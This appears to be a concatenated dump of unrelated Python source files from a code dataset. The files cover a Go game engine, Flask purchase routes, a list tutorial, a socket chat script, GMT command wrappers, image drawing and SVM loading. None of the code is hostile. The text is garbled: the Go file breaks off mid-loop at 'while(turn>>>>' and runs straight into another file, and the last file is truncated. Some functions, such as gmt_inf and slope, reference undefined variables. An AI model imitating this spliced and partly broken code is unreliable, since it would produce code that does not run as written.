nx.node_connected_component(sub,n)\n\t\t\tif(debug):\n\t\t\t\tprint(\"===\")\n\t\t\t\tprint(\"The connected components of \"+str(n)+\" in the following enemy subgraph is\")\n\t\t\t\tprint(sub)\n\t\t\t\tprint(cc)\n\t\t\t\tprint(\"the boundary for this cc is\")\n\t\t\tboundary = nx.node_boundary(G,cc) # get all the liberties of this CC of your enemy\n\t\t\t\n\t\t\t# check if you cover this cc\n\t\t\tif(boundary.issubset(set(boardTemp[player]))):\n\t\t\t\tif(debug):\n\t\t\t\t\tprint(\"The cc has been captured by you!!\")\n\t\t\t\tboardTemp[enemy] = [e for e in boardTemp[enemy] if e not in cc] # capture the pieces\n\t\t\t\tpoints[player] += len(cc) # update points\n\t\t\t\tpiecesCaptured[player] += len(cc)\n\t\t\t\tboardTemp[0] += list(cc) # update that new positions have been emptied up\n\t\t\t\tpieces += len(list(cc))\n\t\t\t\n\n\t\t# Optional Rule 7A NOT IN EFFECT - (Self-capture) is allowed\n\t\tsub = G.subgraph(boardTemp[player])\n\t\tif(n in sub):\n\t\t\tcc = nx.node_connected_component(sub,n)\n\t\t\tif(debug):\n\t\t\t\tprint(\"===\")\n\t\t\t\tprint(\"The connected components of \"+str(n)+\" in the player subgraph is\")\n\t\t\t\tprint(sub)\n\t\t\t\tprint(cc)\n\t\t\t\tprint(\"the boundary for this cc is\")\n\t\t\tboundary = nx.node_boundary(G,cc) # get all the liberties of this CC\n\t\t\t\n\t\t\tif(boundary.issubset(set(boardTemp[enemy]))):\n\t\t\t\tif(debug):\n\t\t\t\t\tprint(\"Your cc has been captured by SELF CAPTURE!!\")\n\t\t\t\tboardTemp[player] = [e for e in boardTemp[player] if e not in cc] # capture the pieces\n\t\t\t\tpoints[enemy] += len(cc) # update points\n\t\t\t\tpiecesCaptured[enemy] += len(cc)\n\t\t\t\tboardTemp[0] += list(cc) # update that new positions have been emptied up\n\t\t\t\tpieces -= len(list(cc))\n\n\treturn pieces\n\ndef updatePoints(player, boardTemp, pos):\n\t# check if empty spaces nearby have been covered due to this move\n\tchanged = list(G.neighbors(pos))+[pos]\n\tenemy = 1 if player == 2 else 2\n\n\treward = 0\n\n\t# if you fill in your already captured SINGLE point area\n\tfor oldArea in captured_area[player]:\n\t\tif((oldArea == set([pos]))):\n\t\t\tcaptured_area[player].remove(oldArea)\n\t\t\tpoints[player] -= len(oldArea)\n\t\t\treward -= len(oldArea)\n\n\t# if you capture an enemy by filling in the single point they used to hold\n\tfor oldArea in captured_area[enemy]:\n\t\tif((oldArea == set([pos]))):\n\t\t\tcaptured_area[enemy].remove(oldArea)\n\t\t\t# no need to update reward since the blank area thus formed will have player as boundary\n\t\t\tpoints[enemy] -= len(oldArea)\n\n\tfor n in changed:\n\t\tsub = G.subgraph(boardTemp[0])\n\t\tif(n in sub):\n\t\t\tcc = nx.node_connected_component(sub,n)\n\t\t\tif(debug):\n\t\t\t\tprint(\"===\")\n\t\t\t\tprint(\"The connected components of \"+str(n)+\" in the subgraph of empty spaces is\")\n\t\t\t\tprint(sub)\n\t\t\t\tprint(cc)\n\n\t\t\tboundary = nx.node_boundary(G,cc)\n\t\t\tif(boundary.issubset(set(boardTemp[enemy]))):\n\t\t\t\tnot_tabulated = True\n\t\t\t\tif(debug):\n\t\t\t\t\tprint(\"This cc is covered by player \"+str(enemy))\n\t\t\t\tfor oldArea in captured_area[enemy]:\n\t\t\t\t\tif(cc.issubset(oldArea)):\n\t\t\t\t\t\t# old territory can shrink, should run only once for a single oldArea\n\t\t\t\t\t\tcaptured_area[enemy].remove(oldArea)\n\t\t\t\t\t\tpoints[enemy] -= len(oldArea)\n\t\t\t\t\t\treward += len(oldArea)\n\t\t\t\t\t\t\n\t\t\t\t\t\tcaptured_area[enemy].append(cc)\n\t\t\t\t\t\tpoints[enemy] += len(cc)\n\t\t\t\t\t\treward -= len(cc)\n\n\t\t\t\t\t\tnot_tabulated = False\n\t\t\t\t\t\tif(debug):\n\t\t\t\t\t\t\tprint(\"cc is a subset of Old area ->\")\n\t\t\t\t\t\t\tprint(oldArea)\n\n\t\t\t\tif(not_tabulated):\n\t\t\t\t\tcaptured_area[enemy].append(cc)\n\t\t\t\t\tpoints[enemy] += len(cc)\n\t\t\t\t\treward -= len(cc) # since enemy gained\n\t\t\t\t\tif(debug):\t\n\t\t\t\t\t\tprint(\"fresh entry into captured_area\")\n\n\t\t\telif(boundary.issubset(set(boardTemp[player]))):\n\t\t\t\tnot_tabulated = True\n\t\t\t\tif(debug):\n\t\t\t\t\tprint(\"This cc is covered by player \"+str(player))\n\n\t\t\t\tfor oldArea in captured_area[player]:\n\t\t\t\t\tif(cc.issubset(oldArea)):\n\t\t\t\t\t\t# old territory can shrink,\n\t\t\t\t\t\tcaptured_area[player].remove(oldArea)\n\t\t\t\t\t\tpoints[player] -= len(oldArea)\n\t\t\t\t\t\treward -= len(oldArea)\n\n\t\t\t\t\t\tcaptured_area[player].append(cc)\n\t\t\t\t\t\tpoints[player] += len(cc)\n\t\t\t\t\t\treward += len(cc)\n\n\t\t\t\t\t\tnot_tabulated = False\n\t\t\t\t\t\tif(debug):\n\t\t\t\t\t\t\tprint(\"cc is a subset of Old area ->\")\n\t\t\t\t\t\t\tprint(oldArea)\n\n\t\t\t\tif(not_tabulated):\n\t\t\t\t\tcaptured_area[player].append(cc)\n\t\t\t\t\tpoints[player] += len(cc)\n\t\t\t\t\treward += len(cc)\n\t\t\t\t\tif(debug):\n\t\t\t\t\t\tprint(\"fresh entry into captured_area\")\n\t\t\telse:\n\t\t\t\t# if this connected commponent is now under contention\n\t\t\t\t# we need to remove it from captured_area if it used to exist.\n\t\t\t\tfor oldArea in captured_area[player]:\n\t\t\t\t\tif(cc.issubset(oldArea)):\n\t\t\t\t\t\t# old territory can shrink!! no new owner\n\t\t\t\t\t\tcaptured_area[player].remove(oldArea)\n\t\t\t\t\t\tpoints[player] -= len(oldArea)\n\t\t\t\t\t\treward -= len(oldArea)\n\n\t\t\t\tfor oldArea in captured_area[enemy]:\n\t\t\t\t\tif(cc.issubset(oldArea)):\n\t\t\t\t\t\t# old territory can shrink!! no new owner\n\t\t\t\t\t\tcaptured_area[enemy].remove(oldArea)\n\t\t\t\t\t\tpoints[enemy] -= len(oldArea)\n\t\t\t\t\t\treward += len(oldArea)\n\tif(debug):\n\t\tprint(\"\\n\\nPlayer \"+str(player)+\" played at position \"+str(pos)+\" and got a reward of \")\n\treturn reward\n\n\t# One more case is if the single blank spot is now taken over by a colored piece\n\t# no longer blank so, no subgraph formed.\n\tfor oldArea in captured_area[player]:\n\t\tif(oldArea == set([pos])):\n\t\t\tcaptured_area[player].remove(oldArea)\n\t\t\tpoints[player] -= len(oldArea)\n\tfor oldArea in captured_area[enemy]:\n\t\tif(oldArea == set([pos])):\n\t\t\tcaptured_area[enemy].remove(oldArea)\n\t\t\tpoints[enemy] -= len(oldArea)\n\n# player can be 1 or 2, white or black, pos is a tuple of (i,j)\ndef play(player, pos, boardTemp):\n\t# ensure these variables is treated as a global variable\n\tglobal board, turn \n\tboard = boardTemp\n\n\tif(debug):\t\n\t\tprint(\"\\n\\nTurn Number \"+ str(turn) +\" player \"+str(player)+\" is trying to play at position \"+str(pos))\n\t\tprint(points)\n\t\n\t# check if position is free of any other piece\n\tif(pos in board[0]):\n\t\t#boardTemp = board # making copy might take time? needed for Rule 8\n\t\tboardTemp[0].remove(pos)\n\t\tboardTemp[player].append(pos)\n\t\trewardPieces = capture(player, boardTemp, pos)\n\t\trewardArea = updatePoints(player, boardTemp, pos)\n\t\tif(debug):\n\t\t\tprint(str(rewardArea+rewardPieces))\n\n\t\t# Rule 8 Prohibition of repetition TO DO\n\t\thist.append(boardTemp)\n\t\tboard = boardTemp\n\t\tplot(board,turn,pos,player)\n\t\tif(debug):\t\n\t\t\tprint(\"\\n\\nThe following is the captured area currently\")\n\t\t\tprint(captured_area)\n\t\tturn += 1\n\t\treturn (board, rewardArea+rewardPieces)\n\tif(debug):\n\t\tprint(\"You can only play on empty positions\")\n\treturn (board, -1*size*size) # is this sufficient penalty?\n\nboard = {1:[], 2:[]}\npoints = {1:0, 2:0} # pieces captured + total area under control right now \npiecesCaptured = {1:0, 2:0}\n\n# list of sets of nodes currently under control of respective player\ncaptured_area = { 1:[], 2:[]}\n\nturn = 1\nhist = [] # history of board positions\n\nboard[0] = list(set(list(product(range(size), repeat = 2))))\n\n# dictionary to matrix representation\ndef boardToState(b):\n\tstate = np.zeros((size,size))\n\tfor i,j in b[1]:\n\t\tstate[i][j] = 1\n\tfor i,j in b[2]:\n\t\tstate[i][j] = 2\n\treturn state\n\n# state is a numpy matrix of n,n 'action' is a position to play by 'player' [0,n^2-1], player is 1 or 2 depending on white or black\ndef go(state, action, player):\n\ty, x = gr.location_to_cordinate([action],size = pm.size, box = 1)[0]\n\taction = (x,y)\n\n\tb = {0:[], 1:[], 2:[]}\n\tfor i in range(size):\n\t\tfor j in range(size):\n\t\t\tif(state[i][j] == 0):\n\t\t\t\tb[0].append((i,j))\n\t\t\telif(state[i][j] == 1):\n\t\t\t\tb[1].append((i,j))\n\t\t\telif(state[i][j] == 2):\n\t\t\t\tb[2].append((i,j))\n\n\tif(debug):\n\t\tprint(board)\n\ts2, reward = play(player,action, b)\n\treturn boardToState(s2), reward\n\n''' Normal human play '''\ndef humanPlay(randomStart = False):\n\tif(randomStart):\n\t\ttotal = list(set(list(product(range(size), repeat = 2))))\n\n\t\tboard[1] = random.sample(total,size*size//3)\n\t\tboard[2] = random.sample(list(set(total) - set(board[1])),size*size//3)\n\t\t# initially all positions belong to blank - set(board[1]) - set(board[2]))\n\t\tboard[0] = list(set(total) - set(board[1]) - set(board[2]))\n\telse:\n\t\tboard = {1:[], 2:[]}\n\t\tboard[0] = list(set(list(product(range(size), repeat = 2))))\n\n\tmove = 'y'\n\tplayer = 2\n\t\t\n\twhile(move!='q'):\n\t\tmove = input()\n\t\tif(not(play(player%2+1, tuple(map(int,move.split(' ')))))):\n\t\t\tcontinue # invalid move same player tries again\n\t\tplayer += 1 \n\n\n\ndef randAgents():\n\tgameNumber = 0\n\n\t# Number of games to be played\n\tfor i in range(100000):\n\t\ttext_file = open(pm.myHomeFolder + \"\\\\data\\\\gameNumber\"+str(gameNumber)+\".txt\", \"w\")\n\t\tplayer = 1\n\t\tgameNumber += 1\n\n\t\tboard = {1:[], 2:[]}\n\t\tpoints = {1:0, 2:0}\n\t\tturn = 0 \n\t\thist = [] # history of board positions\n\n\t\t# initially all positions belong to blank - set(board[1]) - set(board[2]))\n\t\tboard[0] = list(set(list(product(range(size), repeat = 2))))\n\t\t\n\t\twhile(turn>>>>>>>>>>>>>>>>\", kitchen_purchases, brand_purchases)\n\n total_purchases = KitchenStockPurchase.get_total_price(KitchenStockPurchase, purchases=kitchen_purchases) + Purchase.get_total_price(Purchase, purchases=brand_purchases)\n\n return render_template(\"manager/purchases.html\", mod=module, kitchen_purchases=kitchen_purchases, total_purchases=total_purchases, kitchen_items=kitchen_items, drink_items=drink_items, item_id=item, brand_purchases=brand_purchases, tomorrow=to, today=_from)\n\n\n@purchase.route('/delete-purchase', methods=[\"POST\"])\n@login_required\ndef delete_purchase():\n purchase_id = request.form[\"purchase-id\"]\n purchase = Purchase.read_one(Purchase, purchase_id)\n Purchase.delete(purchase)\n session.close()\n flash(\"Purchase (\"+ purchase_id +\") was deleted successfully\", \"info\")\n return redirect(url_for('purchase.get_purchases'))\n\n\n@purchase.route('/delete-kitchen-purchase', methods=[\"POST\"])\n@login_required\ndef delete_kitchen_purchase():\n purchase_id = request.form[\"kitchen-purchase-id\"]\n purchase = KitchenStockPurchase.read_one(KitchenStockPurchase, purchase_id)\n KitchenStockPurchase.delete(purchase)\n session.close()\n flash(\"Kitchen Purchase (\"+ purchase_id +\") was deleted successfully\", \"info\")\n return redirect(url_for('purchase.get_purchases'))","sub_path":"Application/blueprints/Purchase/purchase.py","file_name":"purchase.py","file_ext":"py","file_size_in_byte":3710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"593625302","text":"#remove, clear\n\n\n#리스트를 선언\nlist_a = [1 ,2, 3, 4 ,5, 6]\nlist_b = [1 ,2, 3, 4 ,5, 6]\nlist_c = [1 ,2, 3, 4 ,5, 6]\nlist_d = [1 ,2, 3, 4 ,5, 6]\n#제거 방법1---0번 1번 2번 3번 4번 5번 중 1번칸 제거\ndel list_a[1]\nprint(\"del list_a[1]:\",list_a)\n\n#제거방법 pop------2번칸 제거\nlist_b.pop(2)\nprint(\"pop(2):\",list_b)\n\n#remove-----특정 값 제거 \nlist_c.remove(3) #(\"제거할 값\")\nlist_c\n\n\n#clear\nlist_d.clear()\nprint(\"clear:\",list_d)\n\n\n","sub_path":"Python/list_remove_clear.py","file_name":"list_remove_clear.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"285189208","text":"import socket\nimport os\nimport threading\n\ndef receive(connection):\n while True:\n buff = connection.recv(4096)\n message = buff.decode()\n print(\"Friend: \" + message)\n\n\n\nprint(\"-----------------------------\")\nprint(\"Would you like to connect to somebody or wait for connection?\\n1 Connect to Somebody\\n2 Wait for Connection\")\ndecinput = input()\nif decinput == str(1):\n \n client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \n path = os.getcwd()\n print(\"-----------------------------\")\n print(\"To Connect, Use \\\"connect \\\"\")\n connectflag = False\n while True:\n cmd_input = input()\n if cmd_input.split(' ')[0] == \"connect\" and connectflag == False:\n client.connect((cmd_input.split(' ')[1], int(cmd_input.split(' ')[2])))\n connectflag = True\n t1 = threading.Thread(target=receive, args=(client,))\n t1.start()\n print(\"-Connected to another person!\")\n print(\"-----------------------------\")\n print(\"-Send messages by typing into the command line!\\n-Ctrl-C to quit\")\n \n if cmd_input.split(' ')[0] != \"connect\":\n client.sendall(bytes(cmd_input, 'UTF-8'))\n #print(\"You: \" + cmd_input)\n \nelif decinput == str(2):\n LOCALHOST = \"127.0.0.1\"\n PORT = 8085\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n server.bind((LOCALHOST, PORT))\n server.listen(10)\n print(\"Waiting for peer to connect\")\n msg = ''\n path = os.getcwd()\n clientConnection, clientAddress = server.accept()\n print(\"Connected peer :\", clientAddress)\n t1 = threading.Thread(target=receive, args=(clientConnection,))\n t1.start()\n while True:\n msginput = input()\n clientConnection.send(bytes(msginput, \"UTF-8\"))\n #print(\"You: \" + msginput)\n\n print(\"Peer disconnected...\")\n clientConnection.close()\n\n","sub_path":"peer2.py","file_name":"peer2.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"67093572","text":"import cx_Freeze\r\nimport sys\r\n\r\nsys.argv.append(\"build\")\r\n\r\nexecutables = [cx_Freeze.Executable(\"GAME1_2.py\")]\r\ncx_Freeze.setup(\r\n name = \"GAME1\",\r\n options = {\"build_exe\":{\"packages\":[\"pygame\"],\"include_files\":['racecar.png','car_icon.png','Crash.wav','Jazz_In_Paris.wav']}},\r\n executables = executables\r\n )\r\n","sub_path":"Python/game 1_version 2/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"633504895","text":"### gmtfun.py\n##\n## Copyright (c) 2010 - 2020 CIRES Coastal DEM Team\n##\n## Permission is hereby granted, free of charge, to any person obtaining a copy \n## of this software and associated documentation files (the \"Software\"), to deal \n## in the Software without restriction, including without limitation the rights \n## to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies \n## of the Software, and to permit persons to whom the Software is furnished to do so, \n## subject to the following conditions:\n##\n## The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n##\n## THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, \n## INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR \n## PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE \n## FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, \n## ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n##\n### Code:\n\nfrom utils import *\n\ndef gmt_inc2inc(inc_str):\n units = inc_str[-1]\n\n if units == 'c': ## arc-seconds (old)\n inc = float(inc_str[:-1]) / 3600\n elif units == 's': ## arc-seconds\n inc = float(inc_str[:-1]) / 3600\n elif units == 'm': ## arc-minutes\n inc = float(inc_str[:-1]) / 360\n else: inc = float(inc_str) \n \n return(inc)\n\n## =============================================================================\n##\n## GMT Wrapper Functions - gmtfun.py\n## wrapper functions to GMT system commands\n##\n## =============================================================================\n\ndef gmt_inf(src_xyz):\n '''generate an info (.inf) file from a src_xyz file using GMT.'''\n if os.path.exists(src_grd):\n return(run_cmd('gmt gmtinfo {} -C > {}.inf'.format(src_xyz, src_xyz), verbose = False))\n else: return(None)\n\ndef gmt_grd_inf(src_grd):\n '''generate an info (.inf) file from a src_grd file using GMT.'''\n if os.path.exists(src_grd):\n return(run_cmd('gmt grdinfo {} -C > {}.inf'.format(src_grd, src_grd), verbose = False))\n else: return(None)\n\ndef gmt_grd2gdal(src_grd, dst_fmt = 'GTiff', epsg = 4326, verbose = False):\n '''Convert the grd file to tif using GMT'''\n if os.path.exists(src_grd):\n dst_gdal = '{}.{}'.format(os.path.basename(src_grd).split('.')[0], gdalfun._fext(dst_fmt))\n grdc_cmd = ('gmt grdconvert {} {}=gd+n-9999:{} -V\\\n '.format(src_grd, dst_gdal, dst_fmt))\n out, status = run_cmd(grdc_cmd, verbose = verbose)\n if status != 0: dst_gdal = None\n else: dst_gdal = None\n return(dst_gdal)\n\ndef grdinfo(src_grd, verbose = False):\n '''Return an info list of `src_grd`'''\n out, status = run_cmd('gmt gmtset IO_COL_SEPARATOR = SPACE', verbose = verbose)\n if os.path.exists(src_grd):\n grdinfo_cmd = ('gmt grdinfo {} -C'.format(src_grd))\n out, status = run_cmd(grdinfo_cmd, verbose = verbose)\n remove_glob('gmt.conf')\n if status == 0:\n return(out.split())\n else: return(None)\n else: return(None)\n\ndef gmtinfo(src_xyz, verbose = False):\n '''Return an info list of `src_xyz`'''\n out, status = run_cmd('gmt gmtset IO_COL_SEPARATOR = SPACE', verbose = verbose)\n if os.path.exists(src_xyz):\n gmtinfo_cmd = ('gmt gmtinfo {} -C'.format(src_xyz))\n out, status = run_cmd(gmtinfo_cmd, verbose = verbose)\n remove_glob('gmt.conf')\n if status == 0:\n return(out.split())\n else: return(None)\n else: return(None)\n\ndef gmt_block(datalist, mode = 'blockmean', inc = '1s', o_name = None, delim = 'SPACE', weights = False, verbose = False):\n '''run block/mean/median on src_xyz'''\n if mode == 'blockmean' or mode == 'blockmean':\n out, status = run_cmd('gmt gmtset IO_COL_SEPARATOR = {}'.format(delim.upper()), verbose = verbose)\n if mode == 'blockmean' and weights:\n mode = 'blockmean -Wi'\n datalist.want_weights = True\n if mode == 'blockmedian': mode = 'blockmedian -Q'\n if o_name is None: o_name = datalist._name\n if delim.lower() == 'comma':\n out_ext = 'csv'\n o_vrt = open('{}.vrt'.format(o_name), 'w')\n t = '''\n \n {}.csv\n wkbPoint\n \n \n'''.format(o_name, o_name)\n o_vrt.write(t)\n o_vrt.close()\n\n else: out_ext = 'xyz'\n \n if os.path.exists(datalist._path):\n blk_cmd1 = ('gmt {} -V {} -I{} > {}.{}'.format(mode, datalist.region.gmt, inc, o_name, out_ext))\n out, status = run_cmd(blk_cmd1, verbose = True, data_fun = datalist._dump_data)\n else: status = -1\n else: status = -1\n remove_glob('gmt.conf')\n \n return(status)\n \ndef gmtselect_split(o_xyz, sub_region, sub_bn, verbose = False):\n '''split an xyz file into an inner and outer region.'''\n\n status = 0\n out_inner = None\n out_outer = None\n\n gmt_s_inner = 'gmt gmtselect -V {} {} > {}_inner.xyz'.format(o_xyz, sub_region.gmt, sub_bn)\n out, status = run_cmd(gmt_s_inner, verbose = verbose)\n\n if status == 0: out_inner = '{}_inner.xyz'.format(sub_bn)\n\n gmt_s_outer = 'gmt gmtselect -V {} {} -Ir > {}_outer.xyz'.format(o_xyz, sub_region.gmt, sub_bn)\n out, status = run_cmd(gmt_s_outer, verbose = verbose)\n\n if status == 0: out_outer = '{}_outer.xyz'.format(sub_bn)\n\n return([out_inner, out_outer])\n \ndef grdcut(src_grd, src_region, dst_grd, verbose = False):\n '''Cut `src_grd` to `src_region` '''\n\n status = 0\n if os.path.exists(src_grd):\n cut_cmd1 = ('gmt grdcut -V {} -G{} {}'.format(src_grd, dst_grd, src_region.gmt))\n out, status = run_cmd(cut_cmd1, verbose = verbose)\n else: status = -1\n\n return(status)\n\ndef grdfilter(src_grd, dst_grd, dist = '3s', verbose = False):\n '''filter `src_grd` '''\n\n status = 0\n if os.path.exists(src_grd):\n ft_cmd1 = ('gmt grdfilter -V {} -G{} -R{} -Fc{} -D1'.format(src_grd, dst_grd, src_grd, dist))\n out, status = run_cmd(ft_cmd1, verbose = verbose)\n else: status = -1\n\n return(status)\n\ndef grd2xyz(src_grd, dst_xyz, region = None, mask = None, verbose = False, want_datalist = False):\n '''Convert `src_grd` to xyz possibly using a nodata mask and/or a region.\n Optionally, generate a datalist and inf file for the resultant xyz data.'''\n\n status = 0\n if mask:\n grdmask_cmd = ('gmt grdmath -N -V {} {} OR = tmp.grd'.format(src_grd, mask))\n out, status = run_cmd(grdmask_cmd, verbose = verbose)\n if status == 0: \n src_grd = 'tmp.grd'\n\n if region and region._valid:\n region_str = region.gmt\n else: region_str = ''\n\n grd2xyz_cmd = ('gmt grd2xyz -V {} -s {} > {}'.format(src_grd, region_str, dst_xyz))\n out, status = run_cmd(grd2xyz_cmd, verbose = verbose)\n\n if status == 0:\n if mask:\n if os.path.exists('tmp.grd'):\n os.remove('tmp.grd')\n\n if want_datalist:\n s_datalist = datalist('{}.datalist'.format(dst_xyz.split('.')[0]))\n s_datalist._append_datafile(['{}'.format(os.path.basename(dst_xyz)), 168, 1])\n s_datalist._reset()\n\n mb_inf(s_datalist._path, -1)\n \n return(status)\n\ndef slope(src_dem, dst_slp, verbose = False):\n '''Generate a Slope grid from a DEM with GMT'''\n\n status = 0\n o_b_name = '{}'.format(src_dem.split('.')[0])\n\n slope_cmd0 = ('gmt grdgradient -V -fg {} -S{}_pslp.grd -D -R{}\\\n '.format(src_dem, o_name, src_dem))\n out, status = run_cmd(slope_cmd0, verbose = verbose)\n\n if status == 0:\n slope_cmd1 = ('gmt grdmath -V {}_pslp.grd ATAN PI DIV 180 MUL = {}\\\n '.format(o_b_name, dst_slp))\n out, status = run_cmd(slope_cmd1, verbose = verbose)\n \n if os.path.exists('{}_pslp.grd'.format(o_b_name)):\n os.remove('{}_pslp.grd'.format(o_b_name))\n\n return(status)\n\ndef num_msk(num_grd, dst_msk, verbose = False):\n '''Generate a num-msk from a NUM grid.'''\n\n status = 0\n\n num_msk_cmd = ('gmt grdmath -V {} 0 MUL 1 ADD 0 AND = {}\\\n '.format(num_grd, dst_msk))\n out, status = run_cmd(num_msk_cmd, verbose = verbose)\n\n return(status)\n\ndef xyz2grd(datalist, region, inc, dst_name, a = 'n', node = 'pixel', verbose = False):\n '''Run the GMT command `xyz2grd` given a datalist, region and increment.'''\n \n status = 0\n if node == 'pixel':\n reg_str = '-r'\n else: reg_str = ''\n \n num_cmd0 = ('gmt xyz2grd -V {} -I{:.10f} -G{} -A{} {}\\\n '.format(region.gmt, inc, dst_name, a, reg_str))\n out, status = run_cmd(num_cmd0, verbose = verbose, data_fun = datalist._dump_data)\n\n return(out, status)\n### End\n","sub_path":"geomods-old/gmtfun.py","file_name":"gmtfun.py","file_ext":"py","file_size_in_byte":9042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"455126338","text":"from PIL import Image, ImageDraw, ImageFont, ImageFile\n\nclass Drawing:\n\tdef __init__(self, g_map=\"\", *args, **kwargs):\n\t\tself.mark_map = g_map\n\n\tdef hello_world(self):\n\t\t# get an image\n\t\tbase = Image.open(self.mark_map).convert('RGBA')\n\n\t\t# make a blank image for the text, initialized to transparent text color\n\t\ttxt = Image.new('RGBA', base.size, (255,255,255,0))\n\n\t\t# get a font\n\t\tfnt = ImageFont.truetype('FreeMono.ttf', 40)\n\t\t# get a drawing context\n\t\td = ImageDraw.Draw(txt)\n\n\t\t# draw text, half opacity\n\t\td.text((10,10), \"Hello\", font=fnt, fill=(255,255,255,128))\n\t\t# draw text, full opacity\n\t\td.text((10,60), \"World\", font=fnt, fill=(255,255,255,255))\n\n\t\tout = Image.alpha_composite(base, txt)\n\n\t\tout.save(self.mark_map)","sub_path":"Python/Capstone/drawing.py","file_name":"drawing.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"377250710","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nLoads pretrained final SVM\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom tensorflow.keras.models import Model\r\nfrom sklearn.externals import joblib\r\n\r\ndef get_subSVM_outs(features, data, subSVMs, number_of_classes):\r\n feature1_train, feature1_test,\\\r\n feature2_train, feature2_test,\\\r\n feature3_train, feature3_test = features\r\n \r\n X_train, y_train, X_test, y_test = data\r\n \r\n subSVM1, subSVM2, subSVM3 = subSVMs\r\n \r\n subSVM1_train_out = np.zeros((y_train.shape[0],number_of_classes))\r\n subSVM1_test_out = np.zeros((y_test.shape[0],number_of_classes))\r\n subSVM2_train_out = np.zeros((y_train.shape[0],number_of_classes))\r\n subSVM2_test_out = np.zeros((y_test.shape[0],number_of_classes))\r\n subSVM3_train_out = np.zeros((y_train.shape[0],number_of_classes))\r\n subSVM3_test_out = np.zeros((y_test.shape[0],number_of_classes))\r\n for i in range(number_of_classes):\r\n # predict_proba outputs 2 columns and m rows.\r\n # the 2 columns are as such: [prob of 0, prob of 1]\r\n # I will be taking the prob of 1 moving forward\r\n print(i)\r\n subSVM1_train_out[:,i] = subSVM1[i].predict_proba(feature1_train)[:,1]\r\n subSVM1_test_out[:,i] = subSVM1[i].predict_proba(feature1_test)[:,1]\r\n subSVM2_train_out[:,i] = subSVM2[i].predict_proba(feature2_train)[:,1]\r\n subSVM2_test_out[:,i] = subSVM2[i].predict_proba(feature2_test)[:,1]\r\n subSVM3_train_out[:,i] = subSVM3[i].predict_proba(feature3_train)[:,1]\r\n subSVM3_test_out[:,i] = subSVM3[i].predict_proba(feature3_test)[:,1]\r\n \r\n subSVM_concat_train_out = np.hstack([subSVM1_train_out, subSVM2_train_out, subSVM3_train_out])\r\n subSVM_concat_test_out = np.hstack([subSVM1_test_out, subSVM2_test_out, subSVM3_test_out])\r\n \r\n return subSVM_concat_train_out, subSVM_concat_test_out\r\n\r\ndef load(data, features, subSVMs, number_of_classes, get_accuracies='True'): \r\n X_train, y_train, X_test, y_test = data\r\n \r\n print('loading pre-trained final SVM model...')\r\n finalSVM = joblib.load('saved_finalSVM.pkl')\r\n \r\n if get_accuracies=='True':\r\n print('\\nFinding accuracies of trained final SVM')\r\n subSVM_concat_train_out,\\\r\n subSVM_concat_test_out = get_subSVM_outs(features, data, subSVMs, number_of_classes)\r\n \r\n accuracy_test = [] \r\n accuracy_train = []\r\n \r\n for i in range(number_of_classes):\r\n print('final SVM model, number:',i)\r\n # predicted train and test values for a certain number, i \r\n yhat1_train = finalSVM[i].predict(subSVM_concat_train_out)\r\n print(yhat1_train.shape)\r\n print(yhat1_train)\r\n yhat1_test = finalSVM[i].predict(subSVM_concat_test_out)\r\n # test and train accuracies for that number\r\n accte = np.mean(yhat1_test == y_test[:,i])\r\n acctr = np.mean(yhat1_train == y_train[:,i])\r\n accuracy_test.append(accte)\r\n accuracy_train.append(acctr)\r\n \r\n # plotting individual SVMs\r\n x = np.arange(10)\r\n w = 0.3\r\n # training accuracy\r\n print('training accuracy')\r\n plt.bar(x, accuracy_train, width=w, color='g')\r\n plt.ylim(0.95,1)\r\n plt.show()\r\n plt.savefig('Final_SVM_Training_accuracy.png')\r\n plt.close()\r\n \r\n # testing accuracy\r\n print('testing accuracy')\r\n plt.bar(x, accuracy_test, width=w, color='g')\r\n plt.ylim(0.95,1)\r\n plt.show()\r\n plt.savefig('Final_SVM_Testing_accuracy.png')\r\n plt.close()\r\n \r\n return finalSVM","sub_path":"IndividualProject/final/CNN_classifier/load_finalSVM.py","file_name":"load_finalSVM.py","file_ext":"py","file_size_in_byte":3400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"147077592","text":"temp = print(\"Enter the number of current temperature bellow:\")\r\nwhile isinstance(temp, int) !=True:\r\n try: \r\n temp = int(input(\"Temperature: \"))\r\n except:\r\n print(\"Not a valid temperature!\")\r\nif temp <= 0:\r\n form = \"Solid\"\r\nelif 1 <= temp <= 99:\r\n form = \"Liquid\"\r\nelse:\r\n form = \"Gas\"\r\nprint(\"At\",str(temp)+\"°C, water will be a\",form)\r\n","sub_path":"Python/PYTHONchallenges/Python/Python/challenges/Python Tasks/4.py","file_name":"4.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"557219833","text":"import csv\nimport subprocess\nimport 